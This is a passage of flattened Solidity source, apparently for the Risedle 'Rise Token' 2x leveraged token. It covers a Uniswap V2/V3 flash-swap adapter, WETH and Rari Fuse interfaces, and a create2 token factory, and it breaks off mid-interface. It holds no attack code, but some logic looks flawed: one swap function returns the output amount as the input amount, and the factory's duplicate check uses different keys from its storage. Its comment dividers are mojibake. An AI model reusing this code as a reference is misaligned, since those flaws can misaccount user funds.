/* import { IUniswapV3Pool } from "../interfaces/IUniswapV3Pool.sol"; */
/* import { IUniswapAdapterCaller } from "../interfaces/IUniswapAdapterCaller.sol"; */
/**
* @title Uniswap Adapter
* @author bayu <[email protected]> <https://github.com/pyk>
* @notice Utility contract to interact with Uniswap V2 & V3
*/
interface IUniswapAdapter {
/// โโโ Types โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/**
* @notice The supported Uniswap version
*/
enum UniswapVersion {
UniswapV2,
UniswapV3
}
/**
* @notice Liquidity data for specified token
* @param version The address of Rise Token
* @param pair The Uniswap V2 pair address
* @param pool The Uniswap V3 pool address
* @param router The Uniswap router address
*/
struct LiquidityData {
UniswapVersion version;
IUniswapV2Pair pair;
IUniswapV3Pool pool;
address router;
}
/**
* @notice Parameters to do flash swap WETH->tokenOut
* @param tokenOut The output token
* @param caller The flash swap caller
* @param liquidityData Liquidi
* @param amountOut The amount of tokenOut that will be received by
* this contract
* @param wethAmount The amount of WETH required to finish the flash swap
*/
struct FlashSwapWETHForExactTokensParams {
IERC20 tokenOut;
IUniswapAdapterCaller caller;
LiquidityData liquidityData;
uint256 amountOut;
uint256 wethAmount;
}
/// @notice Flash swap types
enum FlashSwapType {
FlashSwapWETHForExactTokens
}
/// โโโ Events โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/**
* @notice Event emitted when token is configured
* @param liquidityData The liquidity data of the token
*/
event TokenConfigured(LiquidityData liquidityData);
/**
* @notice Event emitted when flash swap succeeded
* @param params The flash swap params
*/
event FlashSwapped(FlashSwapWETHForExactTokensParams params);
/// โโโ Errors โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/// @notice Error is raised when owner use invalid uniswap version
error InvalidUniswapVersion(uint8 version);
/// @notice Error is raised when invalid amount
error InvalidAmount(uint256 amount);
/// @notice Error is raised when token is not configured
error TokenNotConfigured(address token);
/// @notice Error is raised when the callback is called by unkown pair/pool
error CallerNotAuthorized();
/// @notice Error is raised when the caller not repay the token
error CallerNotRepay();
/// @notice Error is raised when this contract receive invalid amount when flashswap
error FlashSwapReceivedAmountInvalid(uint256 expected, uint256 got);
/// โโโ Owner actions โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/**
* @notice Configure the token
* @param _token The ERC20 token
* @param _version The Uniswap version (2 or 3)
* @param _pairOrPool The contract address of the TOKEN/ETH pair or pool
* @param _router The Uniswap V2 or V3 router address
*/
function configure(
address _token,
UniswapVersion _version,
address _pairOrPool,
address _router
) external;
/// โโโ Read-only functions โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/**
* @notice Returns true if token is configured
* @param _token The token address
*/
function isConfigured(address _token) external view returns (bool);
/// โโโ Adapters โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/**
* @notice Borrow exact amount of tokenOut and repay it with WETH.
* The Uniswap Adapter will call msg.sender#onFlashSwapWETHForExactTokens.
* @param _tokenOut The address of ERC20 that swapped
* @param _amountOut The exact amount of tokenOut that will be received by the caller
*/
function flashSwapWETHForExactTokens(
address _tokenOut,
uint256 _amountOut,
bytes memory _data
) external;
/**
* @notice Swaps an exact amount of input tokenIn for as many WETH as possible
* @param _tokenIn tokenIn address
* @param _amountIn The amount of tokenIn
* @param _amountOutMin The minimum amount of WETH to be received
* @return _amountOut The WETH amount received
*/
function swapExactTokensForWETH(
address _tokenIn,
uint256 _amountIn,
uint256 _amountOutMin
) external returns (uint256 _amountOut);
/**
* @notice Swaps an exact amount of WETH for as few tokenIn as possible.
* @param _tokenIn tokenIn address
* @param _wethAmount The amount of tokenIn
* @param _amountInMax The minimum amount of WETH to be received
* @return _amountIn The WETH amount received
*/
function swapTokensForExactWETH(
address _tokenIn,
uint256 _wethAmount,
uint256 _amountInMax
) external returns (uint256 _amountIn);
/**
* @notice Swaps an exact amount of WETH for tokenOut
* @param _tokenOut tokenOut address
* @param _wethAmount The amount of WETH
* @param _amountOutMin The minimum amount of WETH to be received
* @return _amountOut The WETH amount received
*/
function swapExactWETHForTokens(
address _tokenOut,
uint256 _wethAmount,
uint256 _amountOutMin
) external returns (uint256 _amountOut);
}
////// src/interfaces/IUniswapV2Router02.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/**
* @title Uniswap V2 Router Interface
* @author bayu <[email protected]> <https://github.com/pyk>
*/
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] memory path) external view returns (uint256[] memory amounts);
function getAmountsOut(uint amountIn, address[] memory path) external view returns (uint[] memory amounts);
}
////// src/interfaces/IUniswapV3SwapRouter.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/**
* @title Uniswap V3 Swap Router Interface
* @author bayu <[email protected]> <https://github.com/pyk>
*/
interface IUniswapV3SwapRouter {
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 sqrtPriceLimitX96;
}
function exactInputSingle(ExactInputSingleParams memory params) external returns (uint256 amountOut);
struct ExactOutputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
uint160 sqrtPriceLimitX96;
}
function exactOutputSingle(ExactOutputSingleParams memory params) external returns (uint256 amountIn);
}
////// src/interfaces/IWETH9.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/* import { IERC20 } from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
/**
* @title WETH Interface
* @author bayu <[email protected]> <https://github.com/pyk>
*/
interface IWETH9 is IERC20 {
/// @notice Deposit ether to get wrapped ether
function deposit() external payable;
/// @notice Withdraw wrapped ether to get ether
function withdraw(uint256) external;
}
////// src/adapters/UniswapAdapter.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/* import { Ownable } from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */
/* import { IERC20 } from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
/* import { SafeERC20 } from "lib/openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sol"; */
/* import { IUniswapAdapter } from "../interfaces/IUniswapAdapter.sol"; */
/* import { IUniswapV2Router02 } from "../interfaces/IUniswapV2Router02.sol"; */
/* import { IUniswapV2Pair } from "../interfaces/IUniswapV2Pair.sol"; */
/* import { IUniswapV3Pool } from "../interfaces/IUniswapV3Pool.sol"; */
/* import { IUniswapV3SwapRouter } from "../interfaces/IUniswapV3SwapRouter.sol"; */
/* import { IUniswapAdapterCaller } from "../interfaces/IUniswapAdapterCaller.sol"; */
/* import { IWETH9 } from "../interfaces/IWETH9.sol"; */
/**
* @title Uniswap Adapter
* @author bayu <[email protected]> <https://github.com/pyk>
* @notice Utility contract to interact with Uniswap V2 & V3
*/
contract UniswapAdapter is IUniswapAdapter, Ownable {
/// โโโ Libraries โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
using SafeERC20 for IERC20;
using SafeERC20 for IWETH9;
/// โโโ Storages โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/// @notice WETH address
IWETH9 public weth;
/// @notice Mapping token to their liquidity metadata
mapping(address => LiquidityData) public liquidities;
/// @notice Whitelisted pair/pool that can call the callback
mapping(address => bool) private isValidCallbackCaller;
/// โโโ Constuctors โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
constructor(address _weth) {
weth = IWETH9(_weth);
}
/// โโโ Owner actions โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/// @inheritdoc IUniswapAdapter
function configure(address _token, UniswapVersion _version, address _pairOrPool, address _router) external onlyOwner {
isValidCallbackCaller[_pairOrPool] = true;
liquidities[_token] = LiquidityData({
version: _version,
pool: IUniswapV3Pool(_pairOrPool),
pair: IUniswapV2Pair(_pairOrPool),
router: _router
});
emit TokenConfigured(liquidities[_token]);
}
/// โโโ Internal functions โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/// @notice Executed when flashSwapWETHForExactTokens is triggered
function onFlashSwapWETHForExactTokens(FlashSwapWETHForExactTokensParams memory _params, bytes memory _data) internal {
// Transfer the tokenOut to caller
_params.tokenOut.safeTransfer(address(_params.caller), _params.amountOut);
// Execute the callback
uint256 prevBalance = weth.balanceOf(address(this));
_params.caller.onFlashSwapWETHForExactTokens(_params.wethAmount, _params.amountOut, _data);
uint256 balance = weth.balanceOf(address(this));
// Check the balance
if (balance < prevBalance + _params.wethAmount) revert CallerNotRepay();
// Transfer the WETH to the Uniswap V2 pair or pool
if (_params.liquidityData.version == UniswapVersion.UniswapV2) {
weth.safeTransfer(address(_params.liquidityData.pair), _params.wethAmount);
} else {
weth.safeTransfer(address(_params.liquidityData.pool), _params.wethAmount);
}
emit FlashSwapped(_params);
}
/// โโโ Callbacks โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
function uniswapV2Call(address _sender, uint256 _amount0, uint256 _amount1, bytes memory _data) external {
/// โโโ Checks
// Check caller
if (!isValidCallbackCaller[msg.sender]) revert CallerNotAuthorized();
if (_sender != address(this)) revert CallerNotAuthorized();
/// โโโ Interactions
// Get the data
(FlashSwapType flashSwapType, bytes memory data) = abi.decode(_data, (FlashSwapType, bytes));
// Continue execute the function based on the flash swap type
if (flashSwapType == FlashSwapType.FlashSwapWETHForExactTokens) {
(FlashSwapWETHForExactTokensParams memory params, bytes memory callData) = abi.decode(data, (FlashSwapWETHForExactTokensParams,bytes));
// Check the amount out
uint256 amountOut = _amount0 == 0 ? _amount1 : _amount0;
if (params.amountOut != amountOut) revert FlashSwapReceivedAmountInvalid(params.amountOut, amountOut);
// Calculate the WETH amount
address[] memory path = new address[](2);
path[0] = address(weth);
path[1] = address(params.tokenOut);
params.wethAmount = IUniswapV2Router02(params.liquidityData.router).getAmountsIn(params.amountOut, path)[0];
onFlashSwapWETHForExactTokens(params, callData);
return;
}
}
function uniswapV3SwapCallback(int256 _amount0Delta, int256 _amount1Delta, bytes memory _data) external {
/// โโโ Checks
// Check caller
if (!isValidCallbackCaller[msg.sender]) revert CallerNotAuthorized();
/// โโโ Interactions
// Get the data
(FlashSwapType flashSwapType, bytes memory data) = abi.decode(_data, (FlashSwapType, bytes));
// Continue execute the function based on the flash swap type
if (flashSwapType == FlashSwapType.FlashSwapWETHForExactTokens) {
(FlashSwapWETHForExactTokensParams memory params, bytes memory callData) = abi.decode(data, (FlashSwapWETHForExactTokensParams,bytes));
// if amount negative then it must be the amountOut, otherwise it's weth amount
uint256 amountOut = _amount0Delta < 0 ? uint256(-1 * _amount0Delta) : uint256(-1 * _amount1Delta);
params.wethAmount = _amount0Delta > 0 ? uint256(_amount0Delta) : uint256(_amount1Delta);
// Check the amount out
if (params.amountOut != amountOut) revert FlashSwapReceivedAmountInvalid(params.amountOut, amountOut);
onFlashSwapWETHForExactTokens(params, callData);
return;
}
}
/// โโโ Read-only functions โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/// @inheritdoc IUniswapAdapter
function isConfigured(address _token) public view returns (bool) {
if (liquidities[_token].router == address(0)) return false;
return true;
}
/// โโโ Adapters โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/// @inheritdoc IUniswapAdapter
function flashSwapWETHForExactTokens(address _tokenOut, uint256 _amountOut, bytes memory _data) external {
/// โโโ Checks
if (_amountOut == 0) revert InvalidAmount(0);
if (!isConfigured(_tokenOut)) revert TokenNotConfigured(_tokenOut);
// Check the metadata
LiquidityData memory metadata = liquidities[_tokenOut];
/// โโโ Interactions
// Initialize the params
FlashSwapWETHForExactTokensParams memory params = FlashSwapWETHForExactTokensParams({
tokenOut: IERC20(_tokenOut),
amountOut: _amountOut,
caller: IUniswapAdapterCaller(msg.sender),
liquidityData: metadata,
wethAmount: 0 // Initialize as zero; It will be updated in the callback
});
bytes memory data = abi.encode(FlashSwapType.FlashSwapWETHForExactTokens, abi.encode(params, _data));
// Flash swap Uniswap V2; The pair address will call uniswapV2Callback function
if (metadata.version == UniswapVersion.UniswapV2) {
// Get amountOut for token and weth
uint256 amount0Out = _tokenOut == metadata.pair.token0() ? _amountOut : 0;
uint256 amount1Out = _tokenOut == metadata.pair.token1() ? _amountOut : 0;
// Do the flash swap
metadata.pair.swap(amount0Out, amount1Out, address(this), data);
return;
}
if (metadata.version == UniswapVersion.UniswapV3) {
// zeroForOne (true: token0 -> token1) (false: token1 -> token0)
bool zeroForOne = _tokenOut == metadata.pool.token1() ? true : false;
// amountSpecified (Exact input: positive) (Exact output: negative)
int256 amountSpecified = -1 * int256(_amountOut);
uint160 sqrtPriceLimitX96 = (zeroForOne ? 4295128740 : 1461446703485210103287273052203988822378723970341);
// Perform swap
metadata.pool.swap(address(this), zeroForOne, amountSpecified, sqrtPriceLimitX96, data);
return;
}
}
/// @inheritdoc IUniswapAdapter
function swapExactTokensForWETH(address _tokenIn, uint256 _amountIn, uint256 _amountOutMin) external returns (uint256 _amountOut) {
/// โโโ Checks
if (!isConfigured(_tokenIn)) revert TokenNotConfigured(_tokenIn);
/// โโโ Interactions
LiquidityData memory metadata = liquidities[_tokenIn];
IERC20(_tokenIn).safeTransferFrom(msg.sender, address(this), _amountIn);
IERC20(_tokenIn).safeIncreaseAllowance(metadata.router, _amountIn);
if (metadata.version == UniswapVersion.UniswapV2) {
// Do the swap
address[] memory path = new address[](2);
path[0] = _tokenIn;
path[1] = address(weth);
_amountOut = IUniswapV2Router02(metadata.router).swapExactTokensForTokens(_amountIn, _amountOutMin, path, msg.sender, block.timestamp)[1];
}
if (metadata.version == UniswapVersion.UniswapV3) {
// Do the swap
IUniswapV3SwapRouter.ExactInputSingleParams memory params = IUniswapV3SwapRouter.ExactInputSingleParams({
tokenIn: _tokenIn,
tokenOut: address(weth),
fee: metadata.pool.fee(),
recipient: msg.sender,
deadline: block.timestamp,
amountIn: _amountIn,
amountOutMinimum: _amountOutMin,
sqrtPriceLimitX96: 0
});
_amountOut = IUniswapV3SwapRouter(metadata.router).exactInputSingle(params);
}
return _amountOut;
}
/// @inheritdoc IUniswapAdapter
function swapTokensForExactWETH(address _tokenIn, uint256 _wethAmount, uint256 _amountInMax) external returns (uint256 _amountIn) {
/// โโโ Checks
if (!isConfigured(_tokenIn)) revert TokenNotConfigured(_tokenIn);
/// โโโ Interactions
LiquidityData memory metadata = liquidities[_tokenIn];
IERC20(_tokenIn).safeTransferFrom(msg.sender, address(this), _amountInMax);
IERC20(_tokenIn).safeIncreaseAllowance(metadata.router, _amountInMax);
if (metadata.version == UniswapVersion.UniswapV2) {
// Do the swap
address[] memory path = new address[](2);
path[0] = _tokenIn;
path[1] = address(weth);
_amountIn = IUniswapV2Router02(metadata.router).swapTokensForExactTokens(_wethAmount, _amountInMax, path, msg.sender, block.timestamp)[1];
}
if (metadata.version == UniswapVersion.UniswapV3) {
// Do the swap
IUniswapV3SwapRouter.ExactOutputSingleParams memory params = IUniswapV3SwapRouter.ExactOutputSingleParams({
tokenIn: _tokenIn,
tokenOut: address(weth),
fee: metadata.pool.fee(),
recipient: msg.sender,
deadline: block.timestamp,
amountOut: _wethAmount,
amountInMaximum: _amountInMax,
sqrtPriceLimitX96: 0
});
_amountIn = IUniswapV3SwapRouter(metadata.router).exactOutputSingle(params);
}
if (_amountInMax > _amountIn) {
// Transfer back excess token
IERC20(_tokenIn).safeTransfer(msg.sender, _amountInMax - _amountIn);
}
return _amountIn;
}
/// @inheritdoc IUniswapAdapter
function swapExactWETHForTokens(address _tokenOut, uint256 _wethAmount, uint256 _amountOutMin) external returns (uint256 _amountOut) {
/// โโโ Checks
if (!isConfigured(_tokenOut)) revert TokenNotConfigured(_tokenOut);
/// โโโ Interactions
LiquidityData memory metadata = liquidities[_tokenOut];
IERC20(address(weth)).safeTransferFrom(msg.sender, address(this), _wethAmount);
weth.safeIncreaseAllowance(metadata.router, _wethAmount);
if (metadata.version == UniswapVersion.UniswapV2) {
// Do the swap
address[] memory path = new address[](2);
path[0] = address(weth);
path[1] = _tokenOut;
_amountOut = IUniswapV2Router02(metadata.router).swapExactTokensForTokens(_wethAmount, _amountOutMin, path, msg.sender, block.timestamp)[1];
}
if (metadata.version == UniswapVersion.UniswapV3) {
// Do the swap
IUniswapV3SwapRouter.ExactInputSingleParams memory params = IUniswapV3SwapRouter.ExactInputSingleParams({
tokenIn: address(weth),
tokenOut: _tokenOut,
fee: metadata.pool.fee(),
recipient: msg.sender,
deadline: block.timestamp,
amountIn: _wethAmount,
amountOutMinimum: _amountOutMin,
sqrtPriceLimitX96: 0
});
_amountOut = IUniswapV3SwapRouter(metadata.router).exactInputSingle(params);
}
return _amountOut;
}
}
////// src/interfaces/IRiseTokenFactory.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/* import { UniswapAdapter } from "../adapters/UniswapAdapter.sol"; */
/* import { RariFusePriceOracleAdapter } from "../adapters/RariFusePriceOracleAdapter.sol"; */
/**
* @title Rise Token Factory Interface
* @author bayu <[email protected]> <https://github.com/pyk>
* @notice Factory contract for creating Rise Token
*/
interface IRiseTokenFactory {
/// โโโ Events โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/**
* @notice Event emitted when new Rise Token is created
* @param token The address of Rise Token
* @param fCollateral The address of Rari Fuse token that used as collateral
* @param fDebt The address of Rari Fuse token that used as debt
* @param totalTokens The total tokens created by this factory
*/
event TokenCreated(
address token,
address fCollateral,
address fDebt,
uint256 totalTokens
);
/**
* @notice Event emitted when feeRecipient is updated
* @param newRecipient The new fee recipient address
*/
event FeeRecipientUpdated(address newRecipient);
/// โโโ Errors โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/**
* @notice Error is raised when Rise Token already exists
* @param token The Rise Token that already exists with the same collateral
* and debt pair
*/
error TokenExists(address token);
/// โโโ Owner actions โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/**
* @notice Sets fee recipient
* @param _newRecipient New fee recipient
*/
function setFeeRecipient(address _newRecipient) external;
/**
* @notice Creates new Rise Token
* @param _fCollateral fToken from Rari Fuse that used as collateral asset
* @param _fDebt fToken from Rari Fuse that used as debt asset
* @return _token The Rise Token address
*/
function create(
address _fCollateral,
address _fDebt,
address _uniswapAdapter,
address _oracleAdapter
) external returns (address _token);
}
////// src/interfaces/IfERC20.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/**
* @title Rari Fuse ERC20 Interface
* @author bayu (github.com/pyk)
* @dev docs: https://docs.rari.capital/fuse/#ftoken-s
*/
interface IfERC20 {
function mint(uint256 mintAmount) external returns (uint256);
function redeem(uint256 redeemTokens) external returns (uint256);
function redeemUnderlying(uint redeemAmount) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function repayBorrow(uint256 repayAmount) external returns (uint256);
function accrualBlockNumber() external returns (uint256);
function borrowBalanceCurrent(address account) external returns (uint256);
function comptroller() external returns (address);
function underlying() external returns (address);
function balanceOfUnderlying(address account) external returns (uint256);
function totalBorrowsCurrent() external returns (uint256);
}
////// src/RiseTokenFactory.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/* import { Ownable } from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */
/* import { IERC20Metadata } from "lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol"; */
/* import { IfERC20 } from "./interfaces/IfERC20.sol"; */
/* import { IRiseTokenFactory } from "./interfaces/IRiseTokenFactory.sol"; */
/* import { RiseToken } from "./RiseToken.sol"; */
/* import { UniswapAdapter } from "./adapters/UniswapAdapter.sol"; */
/* import { RariFusePriceOracleAdapter } from "./adapters/RariFusePriceOracleAdapter.sol"; */
/**
* @title Rise Token Factory
* @author bayu <[email protected]> <https://github.com/pyk>
* @notice Factory contract to create new Rise Token
*/
contract RiseTokenFactory is IRiseTokenFactory, Ownable {
/// โโโ Storages โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
address[] public tokens;
mapping(address => mapping(address => address)) public getToken;
address public feeRecipient;
/// โโโ Constructors โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
constructor(address _feeRecipient) {
feeRecipient = _feeRecipient;
}
/// โโโ Owner actions โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/// @inheritdoc IRiseTokenFactory
function setFeeRecipient(address _newRecipient) external onlyOwner {
feeRecipient = _newRecipient;
emit FeeRecipientUpdated(_newRecipient);
}
/// @inheritdoc IRiseTokenFactory
function create(address _fCollateral, address _fDebt, address _uniswapAdapter, address _oracleAdapter) external onlyOwner returns (address _token) {
address collateral = IfERC20(_fCollateral).underlying();
address debt = IfERC20(_fDebt).underlying();
if (getToken[collateral][debt] != address(0)) revert TokenExists(getToken[collateral][debt]);
/// โโโ Contract deployment
bytes memory creationCode = type(RiseToken).creationCode;
string memory tokenName = string(abi.encodePacked(IERC20Metadata(collateral).symbol(), " 2x Long Risedle"));
string memory tokenSymbol = string(abi.encodePacked(IERC20Metadata(collateral).symbol(), "RISE"));
bytes memory constructorArgs = abi.encode(tokenName, tokenSymbol, address(this), _fCollateral, _fDebt, _uniswapAdapter, _oracleAdapter);
bytes memory bytecode = abi.encodePacked(creationCode, constructorArgs);
bytes32 salt = keccak256(abi.encodePacked(_fCollateral, _fDebt));
assembly {
_token := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
getToken[_fCollateral][_fDebt] = _token;
getToken[_fDebt][_fCollateral] = _token; // populate mapping in the reverse direction
tokens.push(_token);
emit TokenCreated(_token, _fCollateral, _fDebt, tokens.length);
}
}
////// src/interfaces/IFuseComptroller.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/**
* @title Rari Fuse Comptroller Interface
* @author bayu (github.com/pyk)
* @dev docs: https://docs.rari.capital/fuse/#comptroller
*/
interface IFuseComptroller {
function getAccountLiquidity(address account) external returns (uint256 error, uint256 liquidity, uint256 shortfall);
function enterMarkets(address[] calldata fTokens) external returns (uint256[] memory);
}
////// src/interfaces/IRiseToken.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/* import { IERC20 } from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
/* import { ERC20 } from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; */
/**
* @title Rise Token
* @author bayu <[email protected]> <https://github.com/pyk>
* @notice 2x Long Token powered by Rari Fuse
*/
interface IRiseToken is IERC20 {
/// โโโ Types โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/// @notice Flashswap types
enum FlashSwapType {
Initialize,
Buy,
Sell
}
/**
* @notice Parameters that used to initialize the Rise Token
* @param borrowAmount The target borrow amount
* @param collateralAmount The target collateral amount
* @param shares The target initial supply of the Rise Token
* @param leverageRatio The target leverage ratio of the Rise Token
* @param nav The net-asset value of the Rise Token
* @param ethAmount The maximum amount of ETH that used to initialize the
* total collateral and total debt
* @param initialize The initialize() executor
*/
struct InitializeParams {
uint256 borrowAmount;
uint256 collateralAmount;
uint256 shares;
uint256 leverageRatio;
uint256 nav;
uint256 ethAmount;
address initializer;
}
/**
* @notice Parameters that used to buy the Rise Token
* @param buyer The msg.sender
* @param recipient The address that will receive the Rise Token
* @param tokenIn The ERC20 that used to buy the Rise Token
* @param collateralAmount The amount of token that will supplied to Rari Fuse
* @param debtAmount The amount of token that will borrowed from Rari Fuse
* @param shares The amount of Rise Token to be minted
* @param fee The amount of Rise Token as fee
* @param amountInMax The maximum amount of tokenIn, useful for setting the
* slippage tolerance.
* @param nav The net-asset value of the Rise Token
*/
struct BuyParams {
address buyer;
address recipient;
ERC20 tokenIn;
uint256 collateralAmount;
uint256 debtAmount;
uint256 shares;
uint256 fee;
uint256 amountInMax;
uint256 nav;
}
/**
* @notice Parameters that used to buy the Rise Token
* @param seller The msg.sender
* @param recipient The address that will receive the tokenOut
* @param tokenOut The ERC20 that will received by recipient
* @param collateralAmount The amount of token that will redeemed from Rari Fuse
* @param debtAmount The amount of token that will repay to Rari Fuse
* @param shares The amount of Rise Token to be burned
* @param fee The amount of Rise Token as fee
* @param amountOutMin The minimum amount of tokenOut, useful for setting the
* slippage tolerance.
* @param nav The net-asset value of the Rise Token
*/
struct SellParams {
address seller;
address recipient;
ERC20 tokenOut;
uint256 collateralAmount;
uint256 debtAmount;
uint256 shares;
uint256 fee;
uint256 amountOutMin;
uint256 nav;
}
/// โโโ Events โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/**
* @notice Event emitted when the Rise Token is initialized
* @param params The initialization parameters
*/
event Initialized(InitializeParams params);
/// @notice Event emitted when user buy the token
event Buy(BuyParams params);
/// @notice Event emitted when user sell the token
event Sell(SellParams params);
/**
* @notice Event emitted when params updated
* @param maxLeverageRatio The maximum leverage ratio
* @param minLeverageRatio The minimum leverage ratio
* @param step The rebalancing step
* @param discount The incentives for the market makers
* @param maxBuy The maximum amount to buy in one transaction
*/
event ParamsUpdated(
uint256 maxLeverageRatio,
uint256 minLeverageRatio,
uint256 step,
uint256 discount,
uint256 maxBuy
);
/// โโโ Errors โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/// @notice Error is raised if the caller of onFlashSwapWETHForExactTokens is
/// not Uniswap Adapter contract
error NotUniswapAdapter();
/// @notice Error is raised if mint amount is invalid
error InputAmountInvalid();
/// @notice Error is raised if the owner run the initialize() twice
error AlreadyInitialized();
/// @notice Error is raised if buy & sell is executed before the FLT is initialized
error NotInitialized();
/// @notice Error is raised if slippage too high
error SlippageTooHigh();
/// @notice Error is raised if contract failed to send ETH
error FailedToSendETH(address to, uint256 amount);
/// @notice Error is raised if rebalance is executed but leverage ratio is invalid
// error NoNeedToRebalance(uint256 leverageRatio);
error NoNeedToRebalance();
/// @notice Error is raised if liqudity to buy or sell collateral is not enough
error LiquidityIsNotEnough();
/// @notice Error is raised if something happen when interacting with Rari Fuse
error FuseError(uint256 code);
/// โโโ Owner actions โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/**
* @notice Update the Rise Token parameters
* @param _minLeverageRatio Minimum leverage ratio
* @param _maxLeverageRatio Maximum leverage ratio
* @param _step Rebalancing step
* @param _discount Discount for market makers to incentivize the rebalance
*/
function setParams(
uint256 _minLeverageRatio,
uint256 _maxLeverageRatio,
uint256 _step,
uint256 _discount,
uint256 _maxBuy
) external;
/**
* @notice Initialize the Rise Token using ETH
* @param _params The initialization parameters
*/
function initialize(InitializeParams memory _params) external payable;
/// โโโ Read-only functions โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/**
* @notice Gets the total collateral per share
* @return _cps Collateral per share in collateral token decimals precision
* (ex: gOHM is 1e18 precision)
*/
function collateralPerShare() external view returns (uint256 _cps);
/**
* @notice Gets the total debt per share
* @return _dps Debt per share in debt token decimals precision
* (ex: USDC is 1e6 precision)
*/
function debtPerShare() external view returns (uint256 _dps);
/**
* @notice Gets the value of the Rise Token in ETH
* @param _shares The amount of Rise Token
* @return _value The value of the Rise Token in 1e18 precision
*/
function value(uint256 _shares) external view returns (uint256 _value);
/**
* @notice Gets the net-asset value of the Rise Token in specified token
* @dev This function may revert if _quote token is not configured in Rari
* Fuse Price Oracle
* @param _shares The amount of Rise Token
* @param _quote The token address used as quote
* @return _value The net-asset value of the Rise Token in token decimals
* precision (ex: USDC is 1e6)
*/
function value(
uint256 _shares,
address _quote
) external view returns (uint256 _value);
/**
* @notice Gets the net-asset value of the Rise Token in ETH
* @return _nav The net-asset value of the Rise Token in 1e18 precision
*/
function nav() external view returns (uint256 _nav);
/**
* @notice Gets the leverage ratio of the Rise Token
* @return _lr Leverage ratio in 1e18 precision
*/
function leverageRatio() external view returns (uint256 _lr);
/// โโโ User actions โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/**
* @notice Buy Rise Token with tokenIn. New Rise Token supply will be minted.
* @param _shares The amount of Rise Token to buy
* @param _recipient The recipient of the transaction.
* @param _tokenIn ERC20 used to buy the Rise Token
*/
function buy(
